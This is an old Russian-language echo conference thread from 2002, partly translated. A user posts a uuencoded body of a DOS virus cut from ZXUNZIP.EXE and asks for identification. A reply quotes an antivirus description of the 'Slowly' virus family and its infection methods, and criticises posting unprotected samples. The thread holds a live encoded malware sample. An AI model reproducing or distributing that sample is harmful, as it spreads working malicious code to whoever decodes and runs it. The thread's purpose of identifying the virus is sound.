virus!
ZXNet echo conference «zxnet.pc»
From Kirill Frolov → To All 3 October 2002
Hемедленно нажми на RESET, All!
У Веги обнаружилось немеряно вирусов на диске... Вот собственно само тело
вируса
отрезанное от ZXUNZIP.EXE файла. Если у кого есть современные антивирусные
программы посмотрите, может опознать можно что за вирус и лечится-ли чем.
Желающие заразится могут переименовать в COM файл и запустить, может
получится.
begin 644 zxunzip.vir
M^_KK`P4+`!X.#A'O@``5K`^+DI`%'SI&@I^+FU`6:M9O?89JOB],8H_JF
MH4__#%9"_/](V]I%F@$RWDSF,MY>3@-!X``Y^Z2Y2[A._S+>0IT`2^9T*3+?
M1.$`03K_=/G#_HOUPP#P?!G_^/H7"ON8:^?XJD%_`-IU^G?N,/$C/7#_XS\n
MN101.?@`=&A!]#[H?'Y=>E_`75ODSQ,MY&?P!+Q3+>C5"M2]4SWL?IAP%W
MZ8C6AL2[]&+P%&X/RWAC*^TNR1MC_1I8!,M_P?8,!S#87
MR/N-DDC_PC+?;$74R1?*^Q@S^UX``<($!HOU2(RWG*LX1:U_W[!_0$4_(KO
MF5[`9G"_/OT_XW[%Q?% 21&BP$RWW_!X`'_B]1&4`%+Q3+>C/=_/?=,Q#+>
MCN9%CP)+L4;9_S+>`O'@`(XO1__#2[)&R/]&
MCP$RWXW#'>\@F[Z^^*Z("#Z;>+EG_!4@%_'PX_4NQ,MZ-YA0<=+SA
MP]&,%*[KHL<25RJ^$SWGP1U11-?@(O$_!YN0#P?+<`25%B0$SWGPYU4OE
M="HRWA1'%QW]JD&"`5M;H J4%1"$NX3ORWJ(4:,PW1_Z\n
M;4_13O1X!0U2=/K"KK[P>U'^=*H#P[J+XCOP[V+_13V
M?P.PC.=_`ZB+^1=^_1:J`6W"NJZ+"+(R8L0%?1MPK*[BQB``[J+'D;B_T;_
M`$O!,MY>``'#LO%Z//^``Z7P>T/_7O``PL37BS_"WMV+1'6KXW2Y7HMB_K"
M`OB-4Q=_<3Y_`"*7,7I_0"+8G_!Y`#.'S)`'2LY72SY'X5`?I)O](_[TR
MWQ=J_4C^OU3A)0"NK_H#^7PM`!B]_7?I_0!=^P!>@!<"0M>[P!=
M!`I>[`!<_@I>Z0!=_`FEIT?_O3/>1N`"0[4^O<`7.H`=NGL`%SQ`3CY[P'$
MUG;J@XY^C4*!A@T_AG^`1=J_EUN`1?7_5[_`<,6B^W"!`7Q>R0!PQ?_'PK`5R&"!3V
M7VX!_OK^`!0S7_T`7H,(%Y_^%R__3_[,+A>D_M4X;1>M_M+`%U^`?O_ESS
M#EYN`M;Y?@+Z__Y=+@HY^C4*!QC$_A>T_G3I;P$7U_]+OT6``4;`#/>%P;_
MLO!9/7B_X6.@,76/Z:?L'_`:V>C=_P>J4"=+OI4+=<:@)TN^==:`$X^H4(
M,N!'__Y=@Y<+PHY^38*!ZE!7@$;P-OPP_B(!/]C0MU.!J_"3!T#U/$OHT$
MQ*6("'6J`<4^BQ7%.HL951XK_Z&D1_Z]9LPW
M,MY+P$;3_T9^`3+?2[]&`_E%_PRWA:C`$W^&-C^3?Y+3+?1=`3,0RWOGA
MV3KJ[?]'W-HRWN$&C>M"A0%`%/JH6EQ+Y46`_S+>S3$/'0_^N`__G`_G@
MKTSE17`,]ZG^[_Q<3!#?__-/P05`````$^W1_ZI=9/H=:OG,M]+P3+?S1)U
MM.I'_KURJ^$SWCS,+D__S#=+O3+?/*E!UPYT`4=*_IE3F0@GFE0="*(2[]'
M`OE%``RWDS!,MY(_L)RK.$RWFT1O_^"`[T+HO^OSTX^/[_V7'YU/_,`&]X
M+@U2F=E^PZ^^J[@?"WPY^G/YC@`_$$`"$#_#PQ:H3W,`$[_15D"3,`R
MWGL_B^M0_/_C/C,`%Y7`A05N'X``OF*&V!7`EW1#CQ.^4O`10`!,MX]1_Y\n
M,^I$40+,+4;-_W4]3'PRZCU`_Q+-),P_=2]U/$?W_RX6+B>,^7X-1Q/*WWP>
M#E1M5;Q^!`#_C2%'`OE!``]'``%T+PE=2=3SB``3
MS&C^$AT<"2(+5UN`7;J;`%&UO]!?`)'``!U+PD=B=3S2@N'"X==3MU'G4I
MS0K,>/3S&C]$QT<"#!@$]3_PPE9J&G=+5_]72U?^C`-+1__M+]D6WL;86
MX_^+_X#3_P+Z__"^O___Y'5'6X]%S5[,_S_P````"XK+FGO+G1O+&R_[P`
M`)^1C):)EHZCGIN7D9G_"`<'!P@'!P<(!#1X(7?I0@'![.;B]^>E)/?FI*:
BDI:;C-^;EYK1T=*LDY")DX;?Q=;1OK*OTKC@N;:GT@<'!P``
`
end
* Originally in ZXNET.PC
* Crossposted in dragon_local
From Roman Alexandrov → To Kirill Frolov 3 October 2002
Hello, Kirill!
03 Oct 02, 02:08, Kirill Frolov wrote to All on the topic “virus!”:
KF> Press RESET immediately, All!
KF> Vega found a lot of viruses on her disk... Here's the thing
KF> the body of the virus cut off from the ZXUNZIP.EXE file. If anyone has modern
KF> look at anti-virus programs, maybe you can identify what kind of virus it is
KF> is it treated with anything.
================== Start of file: Windows Clipboard ==================
Slowly, family
Non-dangerous non-resident encrypted viruses. Search in catalogs of available disks
and in directories from the PATH environment variable
.COM and .EXE files and is written to the end of them. They also infect archived files
RAR. Viruses do not infect files whose names
ends with the characters:
ER, 86, ND, E?
After starting, viruses try to infect the KEYB.COM file in the directories specified in
PATH environment variable. When infected
archives, viruses create a special archive block in memory with its own dropper.
In this case, the file name in this block is created from
a set of random characters. Examples of file names:
NRPNSF.COM
BMEBOC.COM
GIQG.COM
HIUHDRHF.COM
ZFYXFRZ.COM
Viruses periodically create temporary files with a line of text inside:
Let all enemies die...Slowly ;)===================== End of Windows Clipboard ======================
You have to be a complete sucker to breed this ancient living creature.
If you are already sending viruses by mail, then put them in a _password-protected_ archive so as not to
hang tossers on normal people.
Happy connections. Roman.